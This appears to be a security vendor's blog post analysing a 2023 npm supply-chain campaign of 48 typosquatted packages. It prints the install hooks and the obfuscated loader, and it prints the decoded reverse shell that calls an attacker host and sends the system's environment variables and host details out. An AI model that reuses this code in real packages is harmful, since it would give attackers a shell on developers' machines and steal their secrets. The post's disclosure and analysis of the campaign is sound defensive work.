Dozens of npm Packages Caught Attempting to Deploy Reverse Shell

Dozens of npm Packages Caught Attempting to Deploy Reverse Shell

On October 27, Phylum’s automated risk detection platform began alerting us to a series of suspicious publications on npm. Over the course of the following few days, we discovered a campaign involving at least 48 different publications. These packages, deceptively named to appear legitimate, contained obfuscated JavaScript designed to initiate a reverse shell on package install.

--cta--

Background

All the packages shown at the end of this post in the “Publication Timeline” section contain the same code. They were all published by the npm user “hktalent”.

hktalent also has a GitHub repo

Screenshot 2023-10-31 at 2.36.57 PM.png

with a package called rshNpm.

Screenshot 2023-10-31 at 2.09.37 PM.png

In it, you can see the commit history and the npm publish automation script, etc., for all the packages discussed below.

The Attack Chain

As with a lot of npm malware, this attack chain is triggered by package installation via an install hook in the package.json.

{
  "name": "linkis-website",
  "version": "6.0.4",
  "description": "aDriv",
  "main": "index.js",
  "scripts": {
    "preinstall": "node ./scripts/init.js &",
    "postinstall": "node ./scripts/init.js &",
    "test": "node ./scripts/init.js &",
    "init": "node ./scripts/init.js"
  },
...TRUNCATED...

It’s clear the attacker was highly motivated to get this attack chain triggered by calling init.js from the preinstall, postinstall, test, and init . Either way, if one does install this package, ./scripts/init.js is run, so let’s go take a look there.

require("child_process").fork("scripts/rsh.js",{detached: true});
process.exit();

This script simply creates a new child process that runs the "scripts/rsh.js" script in a detached mode, allowing the child process to continue running independently of the parent process. Taking a look at that script, we see the following.

var os = require("os"),
    zlib = require("zlib"),
    bs = "\\u0062\\u0061\\u0073\\u0065\\u0036\\u0034",
    \\u0066\\u0069\\u006C\\u0074\\u0065\\u0072\\u004E\\u0065\\u0074 = (o) => {
    var oR = {};
    for (var k in o) {
        if ("lo0" == k) continue;
        for (var i in o[k]) {
            if ("127.0.0.1" == o[k][i]["address"]) continue;
            if (o[k][i]["family"] == "IPv4" && o[k][i]["address"]) {
                oR[k] = o[k][i]
                break;
            }
        }
    }
    return oR;
},
rmKeys = (o, ...keys) => {
    for (var k in keys) {
        delete o[keys[k]];
    }
    return o;
},pkg =JSON.parse(require("fs").readFileSync("package.json").toString("utf8")),
zS = (s) =>zlib.brotliCompressSync(s, { level: 11, windowBits: 15, quality: 11 }).toString(bs),
zO = (o) => zS(JSON.stringify(o, null, 2)),
uS = (s) => zlib.brotliDecompressSync(Buffer.from(s, bs)).toString(),
o = {
    "name": pkg.name,
    "version": pkg.version,
    "pwd": process.cwd(),
    "env": process.env,
    "platform": os.platform(),
    "arch": os.arch(),
    "release": os.release(),
    "type": os.type(),
    "uptime": os.uptime(),
    "hostname": os.hostname(),
    "cpus": [os.cpus().length, rmKeys(os.cpus()[0], "times")],
    "networkInterfaces": filterNet(os.networkInterfaces()),
    "freemem": os.freemem(),
    "totalmem": os.totalmem(),
    "userInfo": os.userInfo()
};
let s = \\u007A\\u004F(\\u006F), \\u0073\\u0031=\\u0075\\u0053(`G/sCIJwHtg1sfVPqObPQC6WsmlPZnVOfAqCQlUG+AJay52WlQRR23HYKiwLI/7ncvQM75zP689ZqjKlrgZVYcYBp1gM8R5zV4glyFKt+CPgOAIT7ekBlFUzW87zjyA6CooEMdzcFs33O/t2tAXawBJUI9pOdw8hOkS4DYLG9xHRAeDZ5ZXbs1oL+Z+k+M2aA4HzxpZD/VAbL7E8erim7UfCx9F/Y4+yCKMrUklhDVFoCdwwQYsUTOxl/nc+gLuTlglxBdupg+2xUfQt7zegHtGsz5GkVkFMdVd6qgszOQWOzY8FtLc/U7KSvB2Q4l4yGpcavIeSsCiZV7YQM5X3KWTMz8v1g55Yld/RldQTkyU91zlOFCeelQqC8qAIL4vEXNhgs2suqFHoQstfjXJpvHFgV0v7Bf8f7X38+oji8qZQUEG8LimNT5MDFKHJ5efBeZkZVIAKCp7gdzI60KAs=`);
\\u0070\\u0072\\u006F\\u0063\\u0065\\u0073\\u0073.\\u0065\\u006E\\u0076.\\u004E\\u004F\\u0044\\u0045\\u005F\\u004E\\u004F\\u005F\\u0045\\u0056\\u0041\\u004C = undefined;
\\u0065\\u0076\\u0061\\u006C(\\u0073\\u0031);

Finally, something interesting! Let’s break this down.

We can see the script starts by importing the os and zlib modules and then declares a variable bs that is initialized, using Unicode escaped characters, to "base64". Here’s the snippet:

var os = require("os"),
    zlib = require("zlib"),
    bs = "\\\\u0062\\\\u0061\\\\u0073\\\\u0065\\\\u0036\\\\u0034";

Next, a function called filterNet, whose name is again defined with Unicode escaped characters, is created. The function iterates over the network interfaces of the operating system, looking specifically for external IPv4 addresses, stopping the iteration as soon as a valid address is found.

\\u0066\\u0069\\u006C\\u0074\\u0065\\u0072\\u004E\\u0065\\u0074 = (o) => {
    var oR = {};
    for (var k in o) {
        if ("lo0" == k) continue;
        for (var i in o[k]) {
            if ("127.0.0.1" == o[k][i]["address"]) continue;
            if (o[k][i]["family"] == "IPv4" && o[k][i]["address"]) {
                oR[k] = o[k][i]
                break;
            }
        }
    }
    return oR;
},

A convenience function named rmKeys is then defined. This function is used later simply to remove unwanted information about the os.cpus() call that’s made in the code.

The script reads and parses the content of the package.json file from the current working directory, storing the result in the pkg variable. The name and version of the package are later extracted, presumably so the attacker knows from which package their successful reverse shell was triggered.

var pkg = JSON.parse(require("fs").readFileSync("package.json").toString("utf8"));

Three functions for data compression and decompression are declared. The zS function compresses a string using the Brotli algorithm, the zO function stringifies and compresses an object, and the uS function decompresses a Brotli compressed string.

var zS = (s) => zlib.brotliCompressSync(s, { level: 11, windowBits: 15, quality: 11 }).toString(bs);
var zO = (o) => zS(JSON.stringify(o, null, 2));
var uS = (s) => zlib.brotliDecompressSync(Buffer.from(s, bs)).toString();

Following these declarations, the script constructs an object o that aggregates various pieces of system information, such as the operating system's platform, architecture, release version, CPU information, network interfaces, and user information.

o = {
    "name": pkg.name,
    "version": pkg.version,
    "pwd": process.cwd(),
    "env": process.env,
    "platform": os.platform(),
    "arch": os.arch(),
    "release": os.release(),
    "type": os.type(),
    "uptime": os.uptime(),
    "hostname": os.hostname(),
    "cpus": [os.cpus().length, rmKeys(os.cpus()[0], "times")],
    "networkInterfaces": filterNet(os.networkInterfaces()),
    "freemem": os.freemem(),
    "totalmem": os.totalmem(),
    "userInfo": os.userInfo()
};

With the system information gathered, the script then compresses this information using the previously defined zO function, storing the result in a variable s.

// Original definition
let s = \\u007A\\u004F(\\u006F)

// After decoding
let s = zO(o);

The variable s1 is defined by calling the function uS on an obfuscated string.

// Original definition
\\u0073\\u0031=\\u0075\\u0053(`G/sCIJwHtg...`)

// After decoding the Unicode
let s1 = uS(`G/sCIJwHtg1sfVPqObPQC6WsmlPZnVOfAqCQlUG+AJay52WlQRR23HYKiwLI/7ncvQM75zP689ZqjKlrgZVYcYBp1gM8R5zV4glyFKt+CPgOAIT7ekBlFUzW87zjyA6CooEMdzcFs33O/t2tAXawBJUI9pOdw8hOkS4DYLG9xHRAeDZ5ZXbs1oL+Z+k+M2aA4HzxpZD/VAbL7E8erim7UfCx9F/Y4+yCKMrUklhDVFoCdwwQYsUTOxl/nc+gLuTlglxBdupg+2xUfQt7zegHtGsz5GkVkFMdVd6qgszOQWOzY8FtLc/U7KSvB2Q4l4yGpcavIeSsCiZV7YQM5X3KWTMz8v1g55Yld/RldQTkyU91zlOFCeelQqC8qAIL4vEXNhgs2suqFHoQstfjXJpvHFgV0v7Bf8f7X38+oji8qZQUEG8LimNT5MDFKHJ5efBeZkZVIAKCp7gdzI60KAs=`);

We can simply evaluate s1 at this point to see what this obfuscated string actually contains. Doing so yields the following:

var config = {
    host: "rsh.51pwn.com",
    port: 8880
    },net = require("net"),
    cp = require("child_process"),client = new net.Socket(),
    reConn = () => {client.connect(config.port, config.host)};
client.on("connect", () => {
    var command = (process.platform === "win32" ? "cmd /c start /b cmd" : "/bin/sh").split(" "),
    sh = cp.spawn(command[0], command.slice(1));
    client.pipe(sh.stdin);
    sh.stdout.pipe(client);
    sh.stderr.pipe(client);
    client.write("51pwn_npm\\n");
    client.write(s + "\\n");
    sh.on("exit", (code) => {
        if (code === 1) {
            reConn()
        }
    })
});
client.on("close", () => {reConn()});client.on("error", (e) => {});
reConn();
process.on("exit", () => {process.exitCode = 0;reConn()});

And there’s our reverse shell! Notice that this code hasn’t actually executed at this point; it’s just defined this script as a string s1.

The script sets the environment variable NODE_NO_EVAL to undefined. We are unsure what the purpose of this is at this point. There’s no documentation about this environment variable found anywhere. In fact, NODE_NO_EVAL doesn’t appear anywhere in the Node or Deno source repositories.

// Original definition
\\u0070\\u0072\\u006F\\u0063\\u0065\\u0073\\u0073.\\u0065\\u006E\\u0076.\\u004E\\u004F\\u0044\\u0045\\u005F\\u004E\\u004F\\u005F\\u0045\\u0056\\u0041\\u004C = undefined;

// After decoding the Unicode
process.env.NODE_NO_EVAL = undefined;

Finally, the script evaluates the decompressed string stored in s1 , and this officially deploys the reverse shell.

// Original definition
\\u0065\\u0076\\u0061\\u006C(\\u0073\\u0031)

// After decoding the Unicode
eval(s1);

Conclusion

This attack is yet another illustration of the continuous threats that pervade our open-source ecosystems, capitalizing on the trust that developers place in them. In this particular case, the attacker published dozens of benign-sounding packages with several layers of obfuscation and deceptive tactics in an attempt to ultimately deploy a reverse shell on any machine that simply installs one of these packages. And yet again, this attack underscores a crucial reminder of the importance of exercising diligence in the selection and management of dependencies.

Publication Timeline

As of the publication of this post, here are the following packages we’ve seen in this campaign.

Name Version Publish Date (UTC)
rocketmq-site 6.0.2 2023-10-27 08:48:49
aliyundrive 6.0.3 2023-10-27 10:24:57
spring-projects 6.0.3 2023-10-27 10:25:00
linkis-website 6.0.3 2023-10-27 10:25:02
www-site 6.0.3 2023-10-27 10:25:05
commons-skin 6.0.3 2023-10-27 10:25:10
echarts-www 6.0.3 2023-10-27 10:25:15
scan4all 6.0.3 2023-10-27 10:25:18
yinhai 6.0.3 2023-10-27 10:25:21
yinhai-ta3 6.0.3 2023-10-27 10:25:23
yinhai-cloud 6.0.3 2023-10-27 10:25:26
yinhai-ta3-cloud 6.0.3 2023-10-27 10:25:29
redis-v4 6.0.3 2023-10-27 10:25:31
socket.io-client-v2 6.0.3 2023-10-27 10:25:34
engine.io-client-v3 6.0.3 2023-10-27 10:25:36
unieap 2.2.1 2023-10-28 07:41:46
unieap-ios 2.2.1 2023-10-28 07:41:50
unieap-android 2.2.1 2023-10-28 07:41:57
unieap-cloud 2.2.1 2023-10-28 07:42:01
unieap-spring 2.2.1 2023-10-28 07:42:05
33-js-concepts 6.0.2 2023-10-29 03:16:40
30-days-of-javascript 6.0.2 2023-10-29 03:20:31
hexojs 6.0.2 2023-10-29 05:22:09
arduino-ide-extension 2.2.3 2023-10-29 06:22:52
tslint-slick 5.0.2 2023-10-29 06:23:19
babel-preset-slick 7.0.5 2023-10-29 06:23:36
tsconfig-slick 3.0.3 2023-10-29 06:23:57
sequelize-orm 6.0.2 2023-10-29 07:08:34
layui.js 6.0.2 2023-10-29 07:18:30
sshwifty-ui 6.0.2 2023-10-30 01:16:47
sshwifty 6.0.2 2023-10-30 03:04:58
generate-protocol 6.0.2 2023-10-30 19:27:20
xterm-addon-clipboard 6.0.4 2023-10-30 23:03:24
rocketmq-site 6.0.4 2023-10-30 23:06:39
aliyundrive 6.0.4 2023-10-30 23:07:07
spring-projects 6.0.4 2023-10-30 23:07:09
linkis-website 6.0.4 2023-10-30 23:07:12
www-site 6.0.4 2023-10-30 23:07:15
commons-skin 6.0.4 2023-10-30 23:07:17
echarts-www 6.0.4 2023-10-30 23:07:20
scan4all 6.0.4 2023-10-30 23:07:23
yinhai 6.0.4 2023-10-30 23:07:26
unieap 6.0.4 2023-10-30 23:07:54
unieap-ios 6.0.4 2023-10-30 23:08:02
unieap-android 6.0.4 2023-10-30 23:08:05
unieap-cloud 6.0.4 2023-10-30 23:08:14
unieap-spring 6.0.4 2023-10-30 23:08:24
xterm-addon-unicode-graphemes 6.0.5 2023-10-30 23:28:38
Phylum Research Team

Phylum Research Team

Hackers, Data Scientists, and Engineers responsible for the identification and takedown of software supply chain attackers.